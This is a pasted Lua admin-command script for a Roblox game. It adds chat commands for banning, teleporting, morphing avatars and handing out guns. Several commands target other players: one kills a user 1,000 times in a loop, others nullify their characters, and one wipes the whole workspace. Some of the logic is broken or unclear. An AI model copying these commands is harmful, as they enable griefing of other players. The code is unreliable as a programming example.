- RunModule('CommandModule','/count','Toggles the API Checks','/wad3','#cs#(%w+)',function(Speaker,Input)
- if (Input=='true') or (Input=='yes') or (Input=='1') or (Input=='on') then
- SN = {}
- PN = {}
- OD = {}
- ON = {}
- PLN = {}
- CN = {}
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v:isA('Part') then
- table.insert(PN,v)
- elseif v:isA('Script') then
- table.insert(SN,v)
- --[[elseif v:isA('Model') then
- table.insert(ON,v)
- else ]]--
- table.insert(OD,v)
- end
- end
- for _,v in pairs(game.Players:GetChildren()) do
- table.insert(PLN,v)
- end
- for i,v in pairs(game.NetworkServer:GetChildren()) do
- table.insert(CN,v)
- end
- qwsqd({{'[API]; Your viewing the game status', Random}})
- notsq({{'[API]; There are '..#SN..' scripts.', Random},{'[API]; There are '..#PN..' parts.', Random},{'[API]; There are '..#OD..' unknown objects.', Random},{'[API]; There are '..#PLN..' players.', Random},{'[API]; There are '..#CN..' clients.', Random}})
- elseif (Input=='false') or (Input=='no') or (Input=='0') or (Input=='off') then
- notsq({{'[API]; No Created functions', Random},{'[API]; No Global functions found', Random}})
- qwsqd({{'[API]; Global;=0 , NilP;=0 , XYZAx;=315', Random}})
- end
- end)
- RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#t'),'Bans the given user','/bn','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- if (RunModule('DisposePlayer',Target,Speaker)) then
- Bannedlist[#Bannedlist+1]=Target.Name;
- end
- end
- end
- end)
- RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#f'),'Unbans the given name','/ub','#cs#(.+)',function(Speaker,Input)
- if (Input=='all') then
- Bannedlist={};
- end
- for Index,Username in pairs(Bannedlist) do
- if (Username:lower():find(Input)==1) then
- RunModule('ShowHint',Speaker,'Unbanning: '..Username,5);
- table.remove(Bannedlist,Index);
- end
- end
- end)
- RunModule('CommandModule','/nillize','Makes the user nil','/nil','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker)
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Your being nild!' ,Target.PlayerGui)
- Target.Character = nil
- end
- end
- end)
- RunModule('CommandModule','/unbannable','Makes the user unbannable','/uba','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker)
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Your being unbannable!' ,Target.PlayerGui)
- Target.Character = Workspace
- end
- end
- end)
- RunModule('CommandModule','/stickman','Makes the given users body look like a stick man','/sman','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Your being re-morphd!' ,Target.PlayerGui)
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.Name=='Left Leg') then
- local de = Instance.new('CylinderMesh')
- de.Parent = Child
- elseif (Child.Name=='Right Leg') then
- local pde = Instance.new('CylinderMesh')
- pde.Parent = Child
- elseif (Child.Name=='Torso') then
- local hp2de = Instance.new('BlockMesh')
- hp2de.Parent = Child
- elseif (Child.className=='Decal') then
- Child:Remove()
- elseif (Child.className=='Hat') then
- Child:Remove()
- elseif (Child.className=='Mesh') then
- Child.Texture:Remove()
- elseif (Child.Name=='Right Arm') then
- local hpde = Instance.new('CylinderMesh')
- hpde.Parent = Child
- elseif (Child.Name=='Left Arm') then
- local htpde = Instance.new('CylinderMesh')
- htpde.Parent = Child
- elseif (Child.className=='Pants') then
- Child:Remove()
- elseif (Child.className=='Shirt') then
- Child:Remove()
- elseif (Child.className=='Part') then
- Child.BrickColor = BrickColor.new('Really black')
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/gunpacket','Gives the given user the pack of insertd guns.','/gpack','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Putting guns in your Backpack!' ,Target.PlayerGui)
- hgf(Target, 'Green')
- qw1.M1Garand:clone().Parent = Target.Backpack
- wait(0.1) e1.Luger:clone().Parent = Target.Backpack
- wait(0.1) e2.Sten:clone().Parent = Target.Backpack
- end
- end
- end)
- RunModule('CommandModule','/getaccinfo','Gives the speaker the given users account information','/aci','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwi('[API]; The users Account age is ' ..Target.AccountAge , 'Green')
- wait(1)
- mwi('[API]; The users Name is ' ..Target.Name, 'Blue')
- wait(1)
- mwi('[API]; The users MembershipType is '..tostring(Target.MembershipType), 'Blue')
- end
- end
- end)
- RunModule('CommandModule','/wireconnect','Connects the given user to the speaker, with FloorWire.','/wcont','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were connected to a player!' ,Target.PlayerGui)
- d=new('FloorWire', Workspace)
- d.From=wq2e.Character.Torso
- d.To=Target.Character.Torso
- d.Color=BrickColor.new('Lime green')
- d.Transparency=0
- d.WireRadius=0.1
- end
- end
- end)
- RunModule('CommandModule','/resetappearance','Resets the CharacterAppearance of the given user','/ra','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Reseting your char!' ,Target.PlayerGui)
- pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Target.userId..'&PlaceId='..game.PlaceId; end)
- pcall(function() Target.Character:BreakJoints(); end)
- end
- end
- end)
- RunModule('CommandModule','/changeappearance','Sets the CharacterAppearance of the given user','/ca','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
- if (tonumber(Integer)==nil) or (Input==nil) then return end
- local Targets=RunModule('GetPlayer',Input,Speaker)
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Changing your char!' ,Target.PlayerGui)
- pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Integer..'&PlaceId='..game.PlaceId; end)
- pcall(function() Target.Character:BreakJoints(); end)
- end
- end
- end)
- RunModule('CommandModule','/knockout','KOs the user 1,000 times','/ko','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- notsq({{'[API]; KOd the Target given'}})
- JD = 1000
- mwq('[API]; Your about to be KOd 1000 times!' ,Target.PlayerGui)
- function ko()
- for i=1, JD do
- c = Instance.new('ObjectValue')
- c.Parent = Target.Character.Humanoid
- c.Value = game.Players.zXzGamePROzXz
- c.Name = 'creator'
- wait(0.1)
- Target.Character.Humanoid.Health = 0
- wait(0.01)
- Target.Character.Parent = game.Lighting
- wait(0.01)
- c:remove()
- wait(0.01)
- Target.Character.Parent = game.Workspace
- end
- end
- ko()
- end
- end
- end)
- RunModule('CommandModule','/fire','Makes the given user look sparkley','/fi','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were fird!' ,Target.PlayerGui)
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Part') then
- local Sparkles=NewInstance('Sparkles')
- Sparkles.SparkleColor=NewColor3(22,101,1);
- Sparkles.Parent=Child;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/rspawn','Removes the sparkles from the given user','/qrs','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- Target:LoadCharacter()
- mwq('[API]; You were quick respawnd!' ,Target.PlayerGui)
- end
- end
- end)
- RunModule('CommandModule','/scrollingmessage','Creates a scrolling message','/gmt','#cs#(.+)',function(Speaker,String)
- local Message=NewInstance('Message');
- Message.Parent=Workspace;
- local Effect=NewInstance('Sound');
- Effect.SoundId='rbxasset://sounds\\switch.wav';
- Effect.Parent=Workspace;
- for Index=1,#String do
- Effect:Play();
- Message.Text=Message.Text..String:sub(Index,Index);
- wait(0.09);
- end
- wait(0.5);
- Message.Parent=nil;
- Effect.Parent=nil;
- end,true)
- RunModule('CommandModule','/scrollinghint','Creates a scrolling message','/dm','#cs#(.+)',function(Speaker,String)
- local Message=NewInstance('Hint');
- Message.Parent=Workspace;
- local Effect=NewInstance('Sound');
- Effect.SoundId='rbxasset://sounds\\switch.wav';
- Effect.Parent=Workspace;
- for Index=1,#String do
- Effect:Play();
- Message.Text=Message.Text..String:sub(Index,Index);
- wait(0.09);
- end
- wait(0.5);
- Message.Parent=nil;
- Effect.Parent=nil;
- end,true)
- RunModule('CommandModule','/speed','Changes the WalkSpeed of the given user','/ws','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
- local Targets=RunModule('GetPlayer',Input,Speaker);
- if (Targets~=nil) and (Integer~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were speeded up!' ,Target.PlayerGui)
- hgf(Target, 'Dark blue')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Humanoid') then
- Child.WalkSpeed=Integer;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/nb','Gets a base','/b','#cs#',function(Speaker)
- if (not RunModule('IsAdmin',Speaker)) then return end
- a = Instance.new('Part', workspace)
- a.Name = 'New Base'
- a.Size = Vector3.new(500, 1.2, 500)
- a.Anchored = true
- a.BrickColor = BrickColor.new(28)
- a.Locked = true
- a.TopSurface = 'Studs';
- mwq('[API]; You created a base' ,low)
- end)
- RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#t'),'Makes the given user a temporary admin','/ad','#cs#(.+)',function(Speaker,...)
- if (not RunModule('IsAdmin',Speaker)) then return end
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end);
- AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
- AdminUserList[#AdminUserList+1]=Target.Name;
- end
- end
- end)
- RunModule('CommandModule',RunModule('ParseMatch','/admin#cs#f'),'Removes the given users temporary admin','/ua','#cs#(.+)',function(Speaker,...)
- if (not RunModule('IsAdmin',Speaker)) then return end
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end)
- end
- end
- end)
- RunModule('CommandModule','/teleport','Teleports two or more users together','/ft','#cs#(.-)#cs#(.+)',function(Speaker,Input1,Input2)
- if (Input1==nil) or (Input2==nil) then return end
- local Targets1,Targets2=RunModule('GetPlayer',Input1,Speaker),RunModule('GetPlayer',Input2,Speaker);
- if (Targets1==nil) or (Targets2==nil) then return end
- if (#Targets2~=1) then return end
- for Index,Target in pairs(Targets1) do
- if (Target.Character~=nil) and (Targets2[1].Character~=nil) then
- local Torso=Target.Character:FindFirstChild('Torso');
- local Torso2=Targets2[1].Character:FindFirstChild('Torso');
- if (Torso~=nil) and (Torso2~=nil) then
- Torso.CFrame=Torso2.CFrame;
- notsq({{'[API]; Warpd the given Targets' , Random}})
- end
- end
- end
- end)
- RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#d'),'Bans the given user using data persistence for the given amount of hours.','/dpb','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Length)
- if (Input==nil) or (Length==nil) then return end
- local Targets=RunModule('GetPlayer',Input,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- if (RunModule('DisposePlayer',Target,Speaker,true)==true) then
- pcall(Target.SaveString,Target,DataKey,RunModule('ConvertTable',{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))}));
- RunModule('DisposePlayer',Target,Speaker);
- end
- end
- end
- end)
- RunModule('CommandModule','/rworkspace','Clears the game of all objects, excluding this script and players','/rw','#cs#',function(Speaker)
- local Children=Workspace:GetChildren();
- for ChildIndex,Child in pairs(Children) do
- if (Child~=script) then
- pcall(function() Child:Remove(); end);
- end
- end
- end)
- RunModule('CommandModule','/restoregame','Restores the game to its state when the backup was created','/rg','#cs#(.+)',function(Speaker,Input)
- if (Input==nil) then return end
- if (GameBackups[Input]==nil) then
- RunModule('ShowHint',Speaker,'That backup key doesnt exist.',5);
- return
- end
- RunModule('RestoreGame',Input);
- notsq({{'[API]; Module not active'}})
- end)
- RunModule('CommandModule','/backupgame','Backs up the game so you casn restore it later','/bg','#cs#(.+)',function(Speaker,Input)
- if (Input==nil) then return end
- if (GameBackups[Input]~=nil) then
- RunModule('ShowHint',Speaker,'That backup key already exists.',5);
- return
- end
- RunModule('BackupGame',Input);
- RunModule('ShowHint',Speaker,'Backup successful.',5);
- notsq({{'[API]; Command not active'}})
- end)
- mwq('[API]; Commands Loaded!' ,low)
- mwi('[API UPDATES]; Added, PaintBallGun into Lighting.', 'Green')
- mwi('[API UPDATES]; Working on the XDQ Camball agian, next update 11-4-12.', 'Green')
- notsq({{'[API]; Modules Loaded!', Random}, {'[API]; API Commands V3 setup', Random}, {'[API]; Tables active!', Random}, {'[API]; Functions working!', Random}, {'[API]; Indiviual Target Functions working!', Random}, {'[API]; _G functions not available at this time.', Random}, {'[API]; Commands active!', Random}, {'[API]; API Commands 507, RIG', Random}, {'[API]; HEAT507, Current script , [GUN GAME] in his models', Random}, {'[API]; Learn how to script in the RobloxWiki', Random}})
- game:GetService('Players').PlayerAdded:connect(function(...) RunModule('AddPlayer',...); end)
- game:GetService('Players').PlayerRemoving:connect(function(...) RunModule('RemovePlayer',...); end)
- table.foreach(game:GetService('Players'):GetPlayers(),function(Index,Player) RunModule('AddPlayer',Player); end)
- --mediafire
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement